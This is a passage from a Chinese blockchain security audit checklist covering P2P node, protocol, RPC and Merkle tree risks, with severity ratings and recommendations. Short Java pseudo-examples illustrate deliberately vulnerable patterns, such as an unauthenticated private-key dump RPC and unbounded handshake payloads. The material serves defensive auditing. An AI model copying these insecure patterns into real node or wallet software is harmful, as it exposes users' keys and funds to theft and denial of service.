id="C2-核心节点物理位置集中度">C2. 核心节点物理位置集中度</h4><ul><li><p><strong>Description</strong></p><p>如果多数核心节点部署在同一地区或同一家云服务商上，一旦出现区域网络故障或运营商级故障，可能导致网络瘫痪。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未对节点地理分布进行规划；</li><li>节点运维成本考虑，不同节点都选同一家云。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>集中化风险，容易被断网或断电攻击；</li><li>系统稳定性不足，难以保证全球可用性。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>鼓励节点在不同国家、不同运营商分布；</li><li>通过激励或准入机制减少位置过度集中；</li><li>针对关键节点实现多地容灾部署。</li></ol></li></ul><h4 id="C3-伪造ID连接检查">C3. 伪造ID连接检查</h4><ul><li><p><strong>Description</strong></p><p>在某些P2P协议下，节点ID并不安全，攻击者可冒充另一个节点ID进行连接。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>节点ID生成与验证机制薄弱；</li><li>缺乏“公钥签名ID”的绑定。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可冒充真实节点进行骗取信任；</li><li>与女巫攻击、日蚀攻击配合后果更严重。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NodeIdentity</span> &#123;</span><br><span class="line">    <span class="comment">// If nodeId = randomString, attacker can easily copy</span></span><br><span class="line">    <span class="keyword">private</span> String nodeId;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>使用加密手段将节点ID与公钥绑定（如ECDSA签名节点ID）；</li><li>握手时验证对方签名，确保 nodeId = hash(pubKey)；</li><li>一旦发现重复ID或冲突，应拒绝并报警。</li></ol></li></ul><h4 id="C4-节点性能审计">C4. 节点性能审计</h4><ul><li><p><strong>Description</strong></p><p>节点需要处理区块、交易和P2P消息，如CPU、内存、存储IO不足，将影响同步效率和网络稳定性。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>不同节点硬件差异大；</li><li>代码实现中存在性能瓶颈（算法复杂度、锁冲突等）。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>节点落后于主网无法及时同步区块；</li><li>交易确认延迟、网络吞吐量下降。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NodePerformance</span> &#123;</span><br><span class="line">    <span class="comment">// 如果区块处理算法是O(n^2)，在大区块时将严重拖慢节点</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>定期进行节点性能 Profiling（CPU、GC、IO）；</li><li>优化关键算法和并发处理；</li><li>推荐一定的硬件配置（CPU内核数、SSD、带宽等）。</li></ol></li></ul><h4 id="C5-节点发现机制安全性">C5. 节点发现机制安全性</h4><ul><li><p><strong>Description</strong></p><p>节点发现（如基于 Kademlia、discv5 等）是 P2P 网络的基础。如果实现或参数不当，可能被攻击者操纵路由表。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>路由表更新策略缺少验证；</li><li>攻击者利用大量虚假节点 ID 来占据路由表桶。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>目标节点难以找到真实节点；</li><li>有助于日蚀或女巫等攻击。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">KademliaTable</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addNode</span><span class="params">(NodeInfo node)</span> &#123;</span><br><span class="line">        <span class="comment">// If no checks for node&#x27;s existence or validity, an attacker can flood</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在节点发现中使用加密握手或节点签名；</li><li>对路由表中节点定期探测与清理；</li><li>参考更安全的disc v5或迭代版本。</li></ol></li></ul><h4 id="C6-引导节点安全性">C6. 引导节点安全性</h4><ul><li><p><strong>Description</strong></p><p>新节点加入网络时通常会连接到“引导节点”获取其他 peers。如果引导节点被攻击者控制，则可以提供虚假对等信息。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>单点或少量引导节点，且没有备用列表；</li><li>引导节点部署环境缺乏安全防护。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>新节点全部连接到攻击者掌控的对等池；</li><li>形成大范围日蚀或网络隔离。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>提供多个引导节点，在不同地理位置独立部署；</li><li>引导节点自身要加强安全防护（SSH安全、更新补丁等）；</li><li>对引导信息进行签名或内置在客户端中，减少被篡改风险。</li></ol></li></ul><h3 id="D-协议安全">D. 协议安全</h3><h4 id="D1-P2P通信加密审计">D1. P2P通信加密审计</h4><ul><li><p><strong>Description</strong></p><p>P2P层若为明文传输，存在被窃听或篡改的风险；若加密算法或握手实现不当，也可能存在漏洞。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>协议未使用 TLS、Noise、devp2p 加密等；</li><li>使用不安全的加密算法或低强度密钥。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可获取敏感信息或注入假数据；</li><li>对交易隐私和网络安全造成较大影响。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PlainP2P</span> &#123;</span><br><span class="line">    <span class="comment">// 直接使用Socket发送字节流，没有任何加密</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>使用安全的P2P加密握手（ECDHE + AEAD模式）；</li><li>保证密钥长度和算法强度足够（AES-256/GCM等）；</li><li>定期更新节点密钥，防止长期暴露导致的破解。</li></ol></li></ul><h4 id="D2-协议兼容性检查">D2. 协议兼容性检查</h4><ul><li><p><strong>Description</strong></p><p>P2P协议可能经历多个版本迭代，不同版本节点共存时，若未做兼容性处理，会导致通信失败或功能受限。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>新版本增加字段或更改握手流程，老版本节点无法解析；</li><li>未在握手阶段协商协议版本。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>网络分裂，新旧节点无法正常对等；</li><li>影响整体升级进度。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VersionedProtocol</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">version</span> <span class="operator">=</span> <span class="number">2</span>;</span><br><span class="line">    <span class="comment">// 旧版节点version=1时无法解析v2消息</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在握手时交换协议版本号，并根据版本选择合适的消息格式；</li><li>逐步淘汰过旧版本节点，给出足够的升级时间；</li><li>在开发层面进行回溯测试，确保兼容性。</li></ol></li></ul><h4 id="D3-超大握手包测试">D3. 超大握手包测试</h4><ul><li><p><strong>Description</strong></p><p>握手过程是初次交换信息的关键窗口，若对握手包的大小或字段缺乏限制，可能出现异常大数据包导致内存或CPU浪费（DoS）。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未对协议报文字段大小做上限约束；</li><li>攻击者发送极大的无效数据包。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>节点内存溢出或处理异常；</li><li>拒绝服务攻击的一个常见手段。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HandshakePacket</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">byte</span>[] payload; <span class="comment">// if no size limit, attacker can send G级别数据</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在协议层定义各字段的最大长度；</li><li>在解析握手包时优先检查长度，如超过阈值直接断开；</li><li>做“超大握手包”专项FUZZ测试，确保程序不会崩溃。</li></ol></li></ul><h4 id="D4-FUZZ测试-P2P协议">D4. FUZZ测试(P2P协议)</h4><ul><li><p><strong>Description</strong></p><p>FUZZ测试是使用随机或畸形输入测试程序的稳健性。若缺乏此类测试，协议实现中的边界情况、异常处理可能存在漏洞。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>开发者只在正常场景测试，对异常输入没做充分考虑；</li><li>复杂状态机在极端数据下可能失效。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>出现崩溃、内存泄漏、死循环等问题；</li><li>容易被DoS攻击者利用。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Fuzz</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">// 生成随机bytes,模拟协议包</span></span><br><span class="line">        <span class="comment">// 传给P2P解析函数</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>对协议解析、消息处理模块做FUZZ测试；</li><li>使用内存监控、覆盖率工具定位潜在缺陷；</li><li>定期重复FUZZ测试，以测试新版本安全性。</li></ol></li></ul><h4 id="D5-消息转发审计">D5. 消息转发审计</h4><ul><li><p><strong>Description</strong></p><p>在P2P网络中，节点会相互转发区块、交易、地址等消息。如果未对消息进行有效限制或验证，会导致垃圾数据横飞，加重网络负担。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>节点默认转发所有收到的消息；</li><li>未验证消息的正确性或必要性。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>网络中传播大量无效数据；</li><li>攻击者利用节点转发功能进行垃圾信息泛滥。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MessageForwarder</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onMessage</span><span class="params">(Message msg)</span> &#123;</span><br><span class="line">        <span class="comment">// 不加区分地转发到所有peer</span></span><br><span class="line">        broadcastToAll(msg);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>对转发内容做基本校验（数据结构、签名、时间戳等）；</li><li>限制转发频率，防范广播风暴；</li><li>使用“拒绝转发已知无效信息”机制，减少网络负载。</li></ol></li></ul><h4 id="D6-P2P端口可识别性">D6. P2P端口可识别性</h4><ul><li><p><strong>Description</strong></p><p>部分区块链节点使用固定或公开常规端口（如 8333 比特币端口），容易被扫描器识别并尝试攻击。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>默认端口固定；</li><li>未使用端口随机化或隐藏机制。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>节点更易受到定向攻击或爬虫干扰；</li><li>对于私有/联盟链中的节点，会暴露在公开网络。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>允许节点自定义端口或使用端口随机化；</li><li>仅对受信任IP开放P2P端口，或放在VPN/专网；</li><li>定期扫描自身端口，确认未暴露不必要端口。</li></ol></li></ul><h4 id="D7-协议版本管理">D7. 协议版本管理</h4><ul><li><p><strong>Description</strong></p><p>P2P协议不断演进，有时需要废弃旧版本或引入新特性。若缺乏版本管理，节点升级后可能互相不兼容。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>无中心化管理，但又需要网络整体一致；</li><li>缺乏版本检测与广播机制。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>新老节点出现协议冲突，不同步或报错；</li><li>社区升级进展混乱，网络出现分裂风险。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>在协议握手中明确版本字段，并定义兼容范围；</li><li>公布升级计划，让节点在特定高度前完成升级；</li><li>引入协商或多版本并存的过渡期。</li></ol></li></ul><h4 id="D8-协议升级机制">D8. 协议升级机制</h4><ul><li><p><strong>Description</strong></p><p>重大协议升级（如硬分叉、共识变更）需要全网节点共同执行，若缺乏安全策略或回滚方案，将造成网络分裂或混乱。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>升级过程没有检测节点的完成情况；</li><li>回滚或应急机制未建立。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>升级后，旧节点与新节点不兼容，出现分叉；</li><li>安全漏洞或逻辑错误得不到快速修复。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li>采用软分叉或向后兼容方案尽量减少分裂；</li><li>在Testnet或可控环境中充分测试后再主网切换；</li><li>预留应急通道，如果升级出问题可立即回退。</li></ol></li></ul><h2 id="RPC安全审计">RPC安全审计</h2><p>区块链RPC接口不仅具备通用的Web/API安全问题（如注入、速率限制、跨域、认证），还涉及到链上敏感操作，如转账、导出私钥等。一旦缺乏严格防护，攻击者可轻易获取私钥或转移资产。<br>我们这里着重关注的是区块链节点或钱包系统中的RPC接口安全审计，包括权限控制、密钥泄露、远程攻击等。Web 安全就交给专业人士了。</p><table><thead><tr><th>安全问题</th><th>常见原因或描述</th><th>危害/影响</th><th>适用范围</th></tr></thead><tbody><tr><td><strong>SQL/NoSQL注入</strong></td><td>直接拼接输入到查询语句或命令行</td><td>数据库被读取/修改/删除；系统沦陷</td><td>通用Web、RPC后端</td></tr><tr><td><strong>CORS配置不当</strong></td><td><code>Access-Control-Allow-Origin: *</code> 等通配符</td><td>跨站脚本可直接访问RPC接口</td><td>Web前端 &amp; RPC交互</td></tr><tr><td><strong>速率限制缺失</strong></td><td>无令牌桶/漏斗算法；可无限发送请求</td><td>造成DoS，节点CPU/内存耗尽</td><td>任意HTTP/RPC服务</td></tr><tr><td><strong>XSS (跨站脚本)</strong></td><td>未对输出参数进行HTML转义/过滤</td><td>用户浏览器被执行恶意脚本</td><td>若RPC返回HTML/日志渲染</td></tr><tr><td><strong>CSRF (跨站请求伪造)</strong></td><td>浏览器自动带cookie，后端无token或签名防护</td><td>用户在不知情下执行敏感操作</td><td>Web + RPC场景都有可能</td></tr></tbody></table><blockquote><p>以上是常见“Web级”或“API级”安全点，在区块链RPC中同样适用。但RPC接口往往还涉及<strong>私钥操作、链上交易</strong>等更高危环节，需要做更严格的权限和隔离。</p></blockquote><h3 id="A-接口安全">A. 接口安全</h3><h4 id="A1-RPC权限审计">A1. RPC权限审计</h4><ul><li><p><strong>Description</strong></p><p>在区块链节点或钱包系统中，RPC通常提供敏感操作（如转账、查看余额、管理账户等）。若缺乏严格的权限管控，任意调用者都能执行高危操作。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>默认开放 RPC，无需认证即可调用；</li><li>在配置文件或启动参数中未限制敏感 RPC 方法；</li><li>未分离只读与写操作权限。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可转移资产、修改配置等；</li><li>导致节点被控制或资金被盗。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RPCServer</span> &#123;</span><br><span class="line">    <span class="comment">// 如果无权限控制，任何人都能请求:</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendTransaction</span><span class="params">(String from, String to, <span class="type">long</span> amount)</span> &#123;</span><br><span class="line">        <span class="comment">// 执行转账</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">WalletRPC</span> &#123;</span><br><span class="line">    <span class="comment">// 错误：无鉴权即可导出私钥</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">dumpPrivateKey</span><span class="params">(String address)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> privateKeys.get(address);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>不开启高危RPC namespace，例如密钥管理、调试，默认在生产环境禁用此类接口，或只允许本地/特定IP访问；</li><li>务必在文档或代码中给此类接口加醒目注释，提醒任何人上线前必须审慎配置。</li><li>只读和写操作分端口或分权限；</li><li>定期审计RPC端点，确认没有意外暴露的测试/调试接口。</li></ol></li></ul><h4 id="A2-API接口安全审计">A2. API接口安全审计</h4><ul><li><p><strong>Description</strong></p><p>RPC并不仅限于基础功能，往往还包含自定义的API接口。若在开发中缺少安全审计或测试，可能出现越权、注入、数据泄露等风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>开发者自行封装的API缺少安全过滤；</li><li>没有进行统一身份验证或访问控制。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可通过API接口进行任意操作或获取敏感信息；</li><li>出现业务逻辑漏洞导致经济损失或隐私曝光。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomAPI</span> &#123;</span><br><span class="line">    <span class="comment">// 提供了批量交易接口，但未校验交易来源和授权</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">batchSendTransactions</span><span class="params">(List&lt;Tx&gt; txs)</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>对所有API进行鉴权和参数校验；</li><li>对输入、输出做安全审计（防注入、敏感信息脱敏）；</li><li>引入统一的API网关或中间件进行访问控制和日志监控。</li></ol></li></ul><h4 id="A3-接口速率限制">A3. 接口速率限制</h4><ul><li><p><strong>Description</strong></p><p>若RPC接口无访问频率限制或队列机制，攻击者可通过短时间大量请求导致节点CPU、内存或IO耗尽，实现拒绝服务。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未启用速率限制，如令牌桶/漏斗算法；</li><li>默认容忍无限次RPC调用。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>节点出现高负载、服务延迟或崩溃；</li><li>正常用户无法使用RPC。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RpcRateLimiter</span> &#123;</span><br><span class="line">    <span class="comment">// 如果为0，表示无限制</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">maxRequestsPerSecond</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>实施速率限制（如每IP每秒最多 X 次调用）；</li><li>为耗费资源较大的操作设置更严格的速率或权限；</li><li>实时监控RPC负载，并对异常流量及时阻断。</li></ol></li></ul><h3 id="B-数据安全">B. 数据安全</h3><h4 id="B1-Json-RPC格式错误数据包拒绝服务攻击">B1. Json-RPC格式错误数据包拒绝服务攻击</h4><ul><li><p><strong>Description</strong></p><p>攻击者可发送格式极其错误或畸形的JSON字符串（深度嵌套、超长Key、超大Value、传递数字却写成字符串，或传入数组超出预期长度等），<br>消耗节点解析资源，或导致系统抛异常或逻辑错误，从而导致拒绝服务。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>RPC实现中对JSON包大小、深度、key数量等缺乏限制；</li><li>未使用安全的JSON解析器或未加超时机制。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>解析器栈溢出、内存耗尽或CPU飙升；</li><li>节点RPC服务中断。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JsonRpcHandler</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handle</span><span class="params">(String jsonInput)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果没有任何大小、深度检查，解析超大或嵌套JSON可引发DoS</span></span><br><span class="line">        parseJson(jsonInput);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>限制请求大小、嵌套深度；</li><li>采用安全的JSON库，及时抛出异常。尤其是参数类型不匹配。</li><li>做Fuzz或压力测试，确保不遗漏异常处理。</li></ol></li></ul><h4 id="B2-参数验证而非信任输入">B2. 参数验证而非信任输入</h4><ul><li><p><strong>Description</strong></p><p>某些RPC调用可能允许客户端自行计算或声明交易金额、手续费、nonce等。如果未验证其正确性，易被伪造或绕过。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>RPC实现仅依赖客户端发送的参数；</li><li>缺少对区块链本身状态（余额、nonce）的比对。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可提交带虚假额度或nonce的交易；</li><li>导致网络出现双花、错误交易等。</li></ul></li><li><p><strong>Example Code</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BlockchainRPC</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendTx</span><span class="params">(String from, String to, <span class="type">long</span> amount, <span class="type">long</span> nonce)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果不和链上nonce做验证，可能出现nonce跳跃或重复</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在后端根据账户状态自动生成nonce、校验余额；</li><li>不信任客户端报送的重要数值；</li><li>保持RPC处理层与区块链共识状态的一致性。</li></ol></li></ul><h2 id="区块链特定安全审计">区块链特定安全审计</h2><h3 id="A-Merkle树安全">A. Merkle树安全</h3><h4 id="A1-默克尔树安全性检查">A1. 默克尔树安全性检查</h4><ul><li><p><strong>Description</strong></p><p>在区块链或分布式账本中，Merkle树（或哈希树）通常被用于校验区块内交易或其他数据的完整性。如果对树的构建或验证不完善，可能导致数据篡改却无法被及时发现。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>默克尔树根的计算过程实现不正确；</li><li>在打包区块或交易时未严格保证哈希顺序；</li><li>缺少对空节点或特殊情形的处理，导致哈希冲突。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可对区块内容做小规模篡改，而共识过程无法察觉；</li><li>整个系统的数据完整性受到质疑。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MerkleTree</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">buildMerkleRoot</span><span class="params">(List&lt;String&gt; transactions)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果对奇数个叶子处理不当或未按固定规则拼接</span></span><br><span class="line">        <span class="comment">// 将导致错误的Merkle Root</span></span><br><span class="line">        <span class="keyword">return</span> computeHash(transactions);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>使用固定并经过审计的 Merkle 构建和合并算法</strong>：例如 Bitcoin 规范中的双 SHA-256。</li><li><strong>确保在奇数节点时，采用明确的填充或复制策略</strong>；不得随意拼接，避免可延展性。</li><li><strong>在区块或共识层，二次校验计算出的 Merkle Root</strong> 并与头部存储的值对比。</li></ol></li></ul><h4 id="A2-奇数交易补全漏洞检查">A2. 奇数交易补全漏洞检查</h4><ul><li><p><strong>Description</strong></p><p>常见的 Merkle 树在交易数量为奇数时，需要对最后一个节点进行复制或补全处理。若实现不当，可能导致对同一交易多次哈希，出现“可延展”或“碰撞”攻击面。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>开发者在处理奇数交易时，随意重复最后一个 leaf；</li><li>缺少固定、不可被操作的填充方式；</li><li>与其他实现或规范在奇数节点处理方式不一致，导致分叉或验证失败。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可构造特殊交易集，使得拼接后的哈希值与正常情况下相同，但实际包含不同交易；</li><li>造成数据完整性的潜在风险。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OddMerkleHandler</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">buildMerkleRoot</span><span class="params">(List&lt;String&gt; txList)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (txList.size() % <span class="number">2</span> == <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="comment">// 如果不规范地重复最后一个节点多次</span></span><br><span class="line">            txList.add(txList.get(txList.size() - <span class="number">1</span>));</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> computeRoot(txList);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>参考比特币等成熟实现</strong>：对奇数节点时仅复制一次最后的 leaf；</li><li><strong>避免多次复制</strong>；若实现有分叉共识要求，则在全网达成统一规则；</li><li><strong>对最终根哈希进行多节点或多实现并行验证</strong>，确保一致。</li></ol></li></ul><h4 id="A3-树结构验证">A3. 树结构验证</h4><ul><li><p><strong>Description</strong></p><p>在验证Merkle树时，需要自下而上逐步计算父节点哈希并最终与头部给定的 Merkle Root 对比。如果验证逻辑缺失或错误，就可能无法检测到中间节点被篡改。</p></li><li><p><strong>Cause 